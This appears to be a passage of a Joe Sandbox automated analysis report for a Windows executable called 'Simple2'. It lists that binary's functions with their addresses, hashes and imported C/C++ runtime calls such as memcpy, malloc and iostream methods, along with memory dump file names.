API ID: Concurrency::cancel_current_task
String ID:
API String ID: 118556049-0
Opcode ID: e83c54a9e08cc45258b0d5e94d8a001542f0135930b059ec0131a8892a7033a6
Instruction ID: 275b6c83f4ec41616dcb3bb59a3f9d47f8a9306ea1a468fd761cea09a3a610f2
Opcode Fuzzy Hash: e83c54a9e08cc45258b0d5e94d8a001542f0135930b059ec0131a8892a7033a6
Instruction Fuzzy Hash: 22511373B08B4585EB168F29D45466C2BB5FB88FD8F504636CE5D83BA8DE78D8A18340

Function 00007FF6D5CA6920 Relevance: 4.6, APIs: 3, Instructions: 94COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2360525446.00007FF6D5CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6D5CA0000, based on PE: true

Associated: 00000000.00000002.2360505710.00007FF6D5CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360578068.00007FF6D5CAD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360595538.00007FF6D5CB4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360616047.00007FF6D5CB5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6d5ca0000_Simple2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5273a414ad2a8e3638f51944160ccb7bf4edba53f1bf469c37612bc3a0f81b19
Instruction ID: 043ad2bb8bcd229a9a997872804d64fcfa0e2442cb84d26dd418a90e7dbee76d
Opcode Fuzzy Hash: 5273a414ad2a8e3638f51944160ccb7bf4edba53f1bf469c37612bc3a0f81b19
Instruction Fuzzy Hash: 9E315227B0464686EA658F25E5047B9AB60FB44FD4F18803ACF5D87B65DE3CE8A6C300

Function 00007FF6D5CAB188 Relevance: 4.5, APIs: 3, Instructions: 21COMMONLIBRARYCODE

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF6D5CA1079), ref: 00007FF6D5CAB1A2
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6D5CAB1B8

Part of subcall function 00007FF6D5CAB924: std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF6D5CAB92D
Part of subcall function 00007FF6D5CAB924: _CxxThrowException.VCRUNTIME140(?,?,?,?,?,?,?,?,00007FF6D5CAB1BD,?,?,?,00007FF6D5CA1079), ref: 00007FF6D5CAB93E

Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6D5CAB1BE

Memory Dump Source

Source File: 00000000.00000002.2360525446.00007FF6D5CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6D5CA0000, based on PE: true

Associated: 00000000.00000002.2360505710.00007FF6D5CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360578068.00007FF6D5CAD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360595538.00007FF6D5CB4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360616047.00007FF6D5CB5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6d5ca0000_Simple2.jbxd

Similarity

API ID: Concurrency::cancel_current_task$ExceptionThrowmallocstd::bad_alloc::bad_alloc
String ID:
API String ID: 594857686-0
Opcode ID: b5572d8f91ff3c0af187336c7321391bdae280d0e8a128b9ee9ed201f7d0ffee
Instruction ID: 84ed7f82775333a895479f8f7bf5c84fe5c88a86f576278f6af8679ced9c1655
Opcode Fuzzy Hash: b5572d8f91ff3c0af187336c7321391bdae280d0e8a128b9ee9ed201f7d0ffee
Instruction Fuzzy Hash: C6E0B603E1920B55F958616218468BD08B10F75BF8E181B3AEF7D84AD3ED1CACB54250

Function 00007FF6D5CA98D0 Relevance: 4.5, APIs: 3, Instructions: 17COMMON

Download Yara Rule

APIs

?widen@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QEBA_WD@Z.MSVCP140 ref: 00007FF6D5CA98E5
?put@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QEAAAEAV12@_W@Z.MSVCP140 ref: 00007FF6D5CA98F1
?flush@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QEAAAEAV12@XZ.MSVCP140 ref: 00007FF6D5CA98FA

Memory Dump Source

Source File: 00000000.00000002.2360525446.00007FF6D5CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6D5CA0000, based on PE: true

Associated: 00000000.00000002.2360505710.00007FF6D5CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360578068.00007FF6D5CAD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360595538.00007FF6D5CB4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360616047.00007FF6D5CB5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6d5ca0000_Simple2.jbxd

Similarity

API ID: U?$char_traits@_W@std@@@std@@$?flush@?$basic_ostream@_?put@?$basic_ostream@_?widen@?$basic_ios@_V12@V12@_
String ID:
API String ID: 2094784882-0
Opcode ID: 23e708a2569c3426e87b7543450fb33ca15486ce26cdfbe756c9933b9681a608
Instruction ID: 43be947c618807cfeaed93b4be80cf0f10ddc96b78d203f273efa65af69033c9
Opcode Fuzzy Hash: 23e708a2569c3426e87b7543450fb33ca15486ce26cdfbe756c9933b9681a608
Instruction Fuzzy Hash: 75D05E16B84A0682EE089F66BC9457C1730EF8DFA6B0CA032CE0F87320DE3CD4A58300

Function 00007FF6D5CA96B0 Relevance: 4.5, APIs: 3, Instructions: 17COMMON

Download Yara Rule

APIs

?widen@?$basic_ios@DU?$char_traits@D@std@@@std@@QEBADD@Z.MSVCP140 ref: 00007FF6D5CA96C5
?put@?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV12@D@Z.MSVCP140 ref: 00007FF6D5CA96D1
?flush@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QEAAAEAV12@XZ.MSVCP140 ref: 00007FF6D5CA96DA

Memory Dump Source

Source File: 00000000.00000002.2360525446.00007FF6D5CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6D5CA0000, based on PE: true

Associated: 00000000.00000002.2360505710.00007FF6D5CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360578068.00007FF6D5CAD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360595538.00007FF6D5CB4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360616047.00007FF6D5CB5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6d5ca0000_Simple2.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@V12@$?flush@?$basic_ostream@_?put@?$basic_ostream@?widen@?$basic_ios@U?$char_traits@_W@std@@@std@@
String ID:
API String ID: 2670548386-0
Opcode ID: f7284e140304bf78685db437509e0c3193b840c890769990208ee4664a5f1153
Instruction ID: ab3ff41301ed4627dd0bc58f4b167f6532a110a9524b1ed8f9fd7776b12fddc9
Opcode Fuzzy Hash: f7284e140304bf78685db437509e0c3193b840c890769990208ee4664a5f1153
Instruction Fuzzy Hash: 79D01712A84A0A82DA089F26B89447C1730AF89F92B08A032CE0F86320DE3CD4A98300

Function 00007FF6D5CA6740 Relevance: 3.1, APIs: 2, Instructions: 74COMMON

Download Yara Rule

APIs

_fseeki64.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF6D5CA67B1
fgetpos.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF6D5CA67C7

Memory Dump Source

Source File: 00000000.00000002.2360525446.00007FF6D5CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6D5CA0000, based on PE: true

Associated: 00000000.00000002.2360505710.00007FF6D5CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360578068.00007FF6D5CAD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360595538.00007FF6D5CB4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360616047.00007FF6D5CB5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6d5ca0000_Simple2.jbxd

Similarity

API ID: _fseeki64fgetpos
String ID:
API String ID: 3401907645-0
Opcode ID: ecb6472a7ce75e62892e83f98b80271a100afabbccfad88630939b55a3a0e4aa
Instruction ID: b3dc139c6e6463ed8adbcb89deb933a7524bbd3b674d5235e800925dbee17e41
Opcode Fuzzy Hash: ecb6472a7ce75e62892e83f98b80271a100afabbccfad88630939b55a3a0e4aa
Instruction Fuzzy Hash: 57310963A14A4581EB618F29E55476D67B4FB54FE8F048136CE6CC7BA4DF38D8A68300

Function 00007FF6D5CA70B0 Relevance: 3.1, APIs: 2, Instructions: 52COMMON

Download Yara Rule

APIs

fclose.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,?,00007FF6D5CA19FD), ref: 00007FF6D5CA7146
?_Init@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IEAAXXZ.MSVCP140(?,?,?,00007FF6D5CA19FD), ref: 00007FF6D5CA7157

Memory Dump Source

Source File: 00000000.00000002.2360525446.00007FF6D5CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6D5CA0000, based on PE: true

Associated: 00000000.00000002.2360505710.00007FF6D5CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360578068.00007FF6D5CAD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360595538.00007FF6D5CB4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360616047.00007FF6D5CB5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6d5ca0000_Simple2.jbxd

Similarity

API ID: D@std@@@std@@Init@?$basic_streambuf@U?$char_traits@fclose
String ID:
API String ID: 356833432-0
Opcode ID: 396b18110c7e3b0189c6318ad677061b51005803ba6b4c43fc7aa01835824bc1
Instruction ID: f04493ca0fc95b95889a8c1d66f5798cdcb251ccc037cf8c8994da722bb44521
Opcode Fuzzy Hash: 396b18110c7e3b0189c6318ad677061b51005803ba6b4c43fc7aa01835824bc1
Instruction Fuzzy Hash: F021C076609B4184DB458F39E8547AC3BA4F748F88F45803ACE4E87768EF39C8A9C750

Function 00007FF6D5CA7F40 Relevance: 1.3, APIs: 1, Instructions: 42COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140 ref: 00007FF6D5CA7F97

Part of subcall function 00007FF6D5CAA360: memcpy.VCRUNTIME140 ref: 00007FF6D5CAA454
Part of subcall function 00007FF6D5CAA360: memcpy.VCRUNTIME140 ref: 00007FF6D5CAA462

Memory Dump Source

Source File: 00000000.00000002.2360525446.00007FF6D5CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6D5CA0000, based on PE: true

Associated: 00000000.00000002.2360505710.00007FF6D5CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360578068.00007FF6D5CAD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360595538.00007FF6D5CB4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360616047.00007FF6D5CB5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6d5ca0000_Simple2.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: c4fad891f8838a3ff896bec8dfd8e97697a670428b7c90bc6bf96c2d856b4e86
Instruction ID: 49d6741851c100f981a45e7e3dd8c32e44f73ce0baf16cf54ea1ca9d770cc1d2
Opcode Fuzzy Hash: c4fad891f8838a3ff896bec8dfd8e97697a670428b7c90bc6bf96c2d856b4e86
Instruction Fuzzy Hash: 7E019E76B08B9481DA009F1AE60006EA7B5F784FC8B148537EF5C17F59DF39D9A28740

Non-executed Functions

Function 00007FF6D5CABB0C Relevance: 13.6, APIs: 9, Instructions: 71COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FF6D5CABB28
memset.VCRUNTIME140 ref: 00007FF6D5CABB4C
RtlCaptureContext.KERNEL32 ref: 00007FF6D5CABB55
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF6D5CABB6F
RtlVirtualUnwind.KERNEL32 ref: 00007FF6D5CABBB0
memset.VCRUNTIME140 ref: 00007FF6D5CABBE3
IsDebuggerPresent.KERNEL32 ref: 00007FF6D5CABC04
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF6D5CABC21
UnhandledExceptionFilter.KERNEL32 ref: 00007FF6D5CABC2C

Memory Dump Source

Source File: 00000000.00000002.2360525446.00007FF6D5CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6D5CA0000, based on PE: true

Associated: 00000000.00000002.2360505710.00007FF6D5CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360578068.00007FF6D5CAD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360595538.00007FF6D5CB4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360616047.00007FF6D5CB5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6d5ca0000_Simple2.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandledmemset$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 313767242-0
Opcode ID: 40a82ec271f847dec9676bbcc0cd14d7ff99cb64b702a5e9aa7045d9a1604bc8
Instruction ID: f42b88ad2717ac3b57069220ea6dcc9f567d5db40def5f6ab091df52e704b40a
Opcode Fuzzy Hash: 40a82ec271f847dec9676bbcc0cd14d7ff99cb64b702a5e9aa7045d9a1604bc8
Instruction Fuzzy Hash: 34311073609A8185EB609F60E840BED7774FB94B48F44403ADA4E87B99EF78D958C710

Function 00007FF6D5CABD1C Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF6D5CABD48
GetCurrentThreadId.KERNEL32 ref: 00007FF6D5CABD56
GetCurrentProcessId.KERNEL32 ref: 00007FF6D5CABD62
QueryPerformanceCounter.KERNEL32 ref: 00007FF6D5CABD72

Memory Dump Source

Source File: 00000000.00000002.2360525446.00007FF6D5CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6D5CA0000, based on PE: true

Associated: 00000000.00000002.2360505710.00007FF6D5CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360578068.00007FF6D5CAD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360595538.00007FF6D5CB4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360616047.00007FF6D5CB5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6d5ca0000_Simple2.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: b368277a78d8b3f94a862b1491a1e397c34f224aaa5acd5c28a1d5999610dac7
Instruction ID: 5cb372a6074cdf6ae1837303c9a1ed526a3113a3c4884fbbd95ffc595a5d16cd
Opcode Fuzzy Hash: b368277a78d8b3f94a862b1491a1e397c34f224aaa5acd5c28a1d5999610dac7
Instruction Fuzzy Hash: 15111F22B14B0189EB009F60E8552AC33B4F719B98F440D3ADE6D87B64DF7CD5648340

Function 00007FF6D5CABCB0 Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2360525446.00007FF6D5CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6D5CA0000, based on PE: true

Associated: 00000000.00000002.2360505710.00007FF6D5CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360578068.00007FF6D5CAD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360595538.00007FF6D5CB4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360616047.00007FF6D5CB5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6d5ca0000_Simple2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 01b6ad167b3f27702ef763fa15e21f823dd2f1c85ce527116d74a973a60dd82a
Instruction ID: 99f0f6bad470428e842ab37ab0d1677c835cd20681253b97b6f276a7d07d8d8d
Opcode Fuzzy Hash: 01b6ad167b3f27702ef763fa15e21f823dd2f1c85ce527116d74a973a60dd82a
Instruction Fuzzy Hash: 5DA00122908806E0E6448B04A8509282A30BB61B88B80403AD80E819A0EE2CA821D201

Function 00007FF6D5CA8830 Relevance: 15.3, APIs: 10, Instructions: 333COMMON

Download Yara Rule

APIs

?out@?$codecvt@DDU_Mbstatet@@@std@@QEBAHAEAU_Mbstatet@@PEBD1AEAPEBDPEAD3AEAPEAD@Z.MSVCP140 ref: 00007FF6D5CA8910
memcpy.VCRUNTIME140 ref: 00007FF6D5CA89CD

Part of subcall function 00007FF6D5CAA360: memcpy.VCRUNTIME140 ref: 00007FF6D5CAA454
Part of subcall function 00007FF6D5CAA360: memcpy.VCRUNTIME140 ref: 00007FF6D5CAA462

memcpy.VCRUNTIME140 ref: 00007FF6D5CA8BF9
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6D5CA8C2E
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6D5CA8C6D
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6D5CA8CB0
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6D5CA8CE9
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6D5CA8CEF
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6D5CA8CF5

Memory Dump Source

Source File: 00000000.00000002.2360525446.00007FF6D5CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6D5CA0000, based on PE: true

Associated: 00000000.00000002.2360505710.00007FF6D5CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360578068.00007FF6D5CAD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360595538.00007FF6D5CB4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360616047.00007FF6D5CB5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6d5ca0000_Simple2.jbxd

Similarity

API ID: memcpy$Concurrency::cancel_current_task_invalid_parameter_noinfo_noreturn$?out@?$codecvt@Mbstatet@@Mbstatet@@@std@@
String ID:
API String ID: 2436281117-0
Opcode ID: 935088583cc97e23358117934621d19feab7de79de71029fe189be2820162756
Instruction ID: 41f9102cd9869fff8cd5dc683aa2de809ed3fbd64b84c90e1087ccfef99c8981
Opcode Fuzzy Hash: 935088583cc97e23358117934621d19feab7de79de71029fe189be2820162756
Instruction Fuzzy Hash: C8D1C163F19B4186FB10DB64E4447AC2A71EB44FD8F40423ADE6D93F99DE3898A5C300

Function 00007FF6D5CAAED0 Relevance: 13.6, APIs: 9, Instructions: 131COMMON

Download Yara Rule

APIs

?good@ios_base@std@@QEBA_NXZ.MSVCP140 ref: 00007FF6D5CAAF35
?flush@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QEAAAEAV12@XZ.MSVCP140 ref: 00007FF6D5CAAF55
?good@ios_base@std@@QEBA_NXZ.MSVCP140 ref: 00007FF6D5CAAF65
?sputc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAAHD@Z.MSVCP140 ref: 00007FF6D5CAAFAC
?sputn@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAA_JPEBD_J@Z.MSVCP140 ref: 00007FF6D5CAAFD9
?sputc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAAHD@Z.MSVCP140 ref: 00007FF6D5CAAFFA
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QEAAXH_N@Z.MSVCP140 ref: 00007FF6D5CAB040
?uncaught_exception@std@@YA_NXZ.MSVCP140 ref: 00007FF6D5CAB047
?_Osfx@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QEAAXXZ.MSVCP140 ref: 00007FF6D5CAB054

Memory Dump Source

Source File: 00000000.00000002.2360525446.00007FF6D5CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6D5CA0000, based on PE: true

Associated: 00000000.00000002.2360505710.00007FF6D5CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360578068.00007FF6D5CAD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360595538.00007FF6D5CB4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360616047.00007FF6D5CB5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6d5ca0000_Simple2.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@U?$char_traits@_W@std@@@std@@$?good@ios_base@std@@?sputc@?$basic_streambuf@$?flush@?$basic_ostream@_?setstate@?$basic_ios@_?sputn@?$basic_streambuf@?uncaught_exception@std@@Osfx@?$basic_ostream@_V12@
String ID:
API String ID: 1135186806-0
Opcode ID: 4a409d9eeddde9c16bf3bdc8983f7975c11a2b7358316a83c88b2511ec656938
Instruction ID: c3b2435e61fae2ee28170343846e3eedd3242be9bd1ce7377a8b392ce0871338
Opcode Fuzzy Hash: 4a409d9eeddde9c16bf3bdc8983f7975c11a2b7358316a83c88b2511ec656938
Instruction Fuzzy Hash: 00510E67608A4181EB648F19D990A3CABB0EB94FD5F15853BDE5E83BA0DE3DD856C300

Function 00007FF6D5CA8D10 Relevance: 10.8, APIs: 7, Instructions: 273COMMON

Download Yara Rule

APIs

?in@?$codecvt@DDU_Mbstatet@@@std@@QEBAHAEAU_Mbstatet@@PEBD1AEAPEBDPEAD3AEAPEAD@Z.MSVCP140 ref: 00007FF6D5CA8DF6
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6D5CA8FA3

Part of subcall function 00007FF6D5CA9D40: memcpy.VCRUNTIME140(?,?,?,?,?,?,?,00000000,00007FF6D5CAA81F), ref: 00007FF6D5CA9E58

memcpy.VCRUNTIME140 ref: 00007FF6D5CA8EAE
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6D5CA90BE
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6D5CA910E
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6D5CA9115
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6D5CA911B

Memory Dump Source

Source File: 00000000.00000002.2360525446.00007FF6D5CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6D5CA0000, based on PE: true

Associated: 00000000.00000002.2360505710.00007FF6D5CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360578068.00007FF6D5CAD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360595538.00007FF6D5CB4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360616047.00007FF6D5CB5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6d5ca0000_Simple2.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$Concurrency::cancel_current_taskmemcpy$?in@?$codecvt@Mbstatet@@Mbstatet@@@std@@
String ID:
API String ID: 3138728058-0
Opcode ID: e6214b93f974ff175a803f96164c46fee4193a620a105653e3ca1608f30040e8
Instruction ID: a08cb5aa02273db28187f433aae0f2edbdaab58cc6804a13d3276498739c3295
Opcode Fuzzy Hash: e6214b93f974ff175a803f96164c46fee4193a620a105653e3ca1608f30040e8
Instruction Fuzzy Hash: 86B1B163F18A4695EB10DB68E4446AD3772EB48BD8F40423ADE5D93F99EF38D960C340

Function 00007FF6D5CA6A70 Relevance: 10.7, APIs: 7, Instructions: 180COMMON

Download Yara Rule

APIs

fgetc.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF6D5CA6B22

Memory Dump Source

Source File: 00000000.00000002.2360525446.00007FF6D5CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6D5CA0000, based on PE: true

Associated: 00000000.00000002.2360505710.00007FF6D5CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360578068.00007FF6D5CAD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360595538.00007FF6D5CB4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360616047.00007FF6D5CB5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6d5ca0000_Simple2.jbxd

Similarity

API ID: fgetc
String ID:
API String ID: 2807381905-0
Opcode ID: d989e32cd8d4d9aea3cbf8c9ed8202a4c5c64ba8edd9c6f971a751b8cf2c4d9c
Instruction ID: 6ce2a7e599895377b996d64c77be64e70f18fa439333315cab80340c4e1ea7d0
Opcode Fuzzy Hash: d989e32cd8d4d9aea3cbf8c9ed8202a4c5c64ba8edd9c6f971a751b8cf2c4d9c
Instruction Fuzzy Hash: 29914933F14A5199EB008F65D4906AC3BB0FB48BA8F54563ADE6D93B94DF38D8A4C340

Function 00007FF6D5CAA8D0 Relevance: 10.7, APIs: 7, Instructions: 159COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?,00007FF6D5CA4F82), ref: 00007FF6D5CAA967
memcpy.VCRUNTIME140(?,?,?,00007FF6D5CA4F82), ref: 00007FF6D5CAA9B2
memcpy.VCRUNTIME140(?,?,?,00007FF6D5CA4F82), ref: 00007FF6D5CAA9CA
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00007FF6D5CA4F82), ref: 00007FF6D5CAAA67
memcpy.VCRUNTIME140(?,?,?,00007FF6D5CA4F82), ref: 00007FF6D5CAAA9C
memcpy.VCRUNTIME140(?,?,?,00007FF6D5CA4F82), ref: 00007FF6D5CAAABA
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6D5CAAADD

Memory Dump Source

Source File: 00000000.00000002.2360525446.00007FF6D5CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6D5CA0000, based on PE: true

Associated: 00000000.00000002.2360505710.00007FF6D5CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360578068.00007FF6D5CAD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360595538.00007FF6D5CB4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360616047.00007FF6D5CB5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6d5ca0000_Simple2.jbxd

Similarity

API ID: memcpy$Concurrency::cancel_current_task_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 1775671525-0
Opcode ID: 2a09d41be2bb6cf21189dc107458b1e4993c141929f0eb1c697bf44d60cc6df8
Instruction ID: ae11dcccbebf3b3e5a089730a4af7e2f571c3d0d9118de67c3a0e727df5c70d5
Opcode Fuzzy Hash: 2a09d41be2bb6cf21189dc107458b1e4993c141929f0eb1c697bf44d60cc6df8
Instruction Fuzzy Hash: 5B51B223A04B4591EA10AF25D9046AC27B0FB55FD8F544A3ADE6D93BC5DF38E9A4C340

Function 00007FF6D5CAAAF0 Relevance: 10.6, APIs: 7, Instructions: 147COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140 ref: 00007FF6D5CAAB84
memcpy.VCRUNTIME140 ref: 00007FF6D5CAABC8
memcpy.VCRUNTIME140 ref: 00007FF6D5CAABE0
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6D5CAAC63
memcpy.VCRUNTIME140 ref: 00007FF6D5CAAC95
memcpy.VCRUNTIME140 ref: 00007FF6D5CAACB0
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6D5CAACD3

Memory Dump Source

Source File: 00000000.00000002.2360525446.00007FF6D5CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6D5CA0000, based on PE: true

Associated: 00000000.00000002.2360505710.00007FF6D5CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360578068.00007FF6D5CAD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360595538.00007FF6D5CB4000.00000004.00000001.01000000.00000003.sdmpDownload File
